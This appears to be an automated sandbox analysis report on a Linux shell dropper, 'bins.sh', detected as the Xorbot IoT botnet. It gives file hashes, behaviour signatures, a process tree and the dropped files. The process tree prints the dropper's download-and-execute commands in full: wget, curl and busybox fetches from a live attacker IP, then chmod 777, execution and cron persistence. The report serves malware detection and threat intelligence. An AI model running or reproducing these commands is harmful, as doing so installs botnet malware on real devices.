Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/12/2024, 05:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    08443003e438fc12a91edb3195871828

  • SHA1

    b293d04952172f27c42190fec5fb176eb285e6ac

  • SHA256

    ddb93708573a4f419ebd47aef1cc9fb789831e94c1e2df6a83c6cc917b3c354b

  • SHA512

    5748af7ce94e106e548536f7eb2d17300728a31da9d1ea1966f02a5956443ec25ccafe478fdd7fbf6d468a79e55c5dc936b0aecac3e43becb7a11b56f362bb02

  • SSDEEP

    192:f5JZiwxYgdBbjfh0UxkkcpYsS2G8dZJAYKLTuFt14EQFt14EdQ5JZiwxV2Fjfh0u:f5JZiGYgdBXFhTC5JZiGV2ku

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1484
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1485
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Writes file to tmp directory
          PID:1493
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /bin/chmod
          chmod 777 rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • File and Directory Permissions Modification
          PID:1501
        • /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          ./rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Executes dropped EXE
          PID:1502
        • /bin/rm
          rm rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
            PID:1504
          • /usr/bin/wget
            wget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/chmod
            chmod 777 reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
            • File and Directory Permissions Modification
            PID:1509
          • /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            ./reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
            • Executes dropped EXE
            PID:1510
          • /bin/rm
            rm reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
            2⤵
              PID:1512
            • /usr/bin/wget
              wget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /bin/chmod
              chmod 777 FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
              • File and Directory Permissions Modification
              PID:1516
            • /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              ./FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
              • Executes dropped EXE
              PID:1517
            • /bin/rm
              rm FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
              2⤵
                PID:1519
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /bin/chmod
                chmod 777 wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                2⤵
                • File and Directory Permissions Modification
                PID:1523
              • /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                ./wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1524
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1526
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1527
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1528
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1529
                    • /bin/rm
                      rm wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                      2⤵
                        PID:1531
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                        2⤵
                          PID:1534

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /var/spool/cron/crontabs/tmp.IVkMfP

                              Filesize

                              210B

                              MD5

                              03077092d093ce63e43be57d30d6a7ad

                              SHA1

                              855dce5137a267bf5c97784932c06e7d12f22844

                              SHA256

                              32eae9956a0a23c14df73806c1cc5c9a9f0078e9e73553af9dcd38c9dc7e26fa

                              SHA512

                              282446ef172ac2a7859bcc645a840c4b49364c34089c89b1221ff34788754db004b1a35f11d2a84fea2fdc36aa344896f08add715b385b1b76dbb455c536937a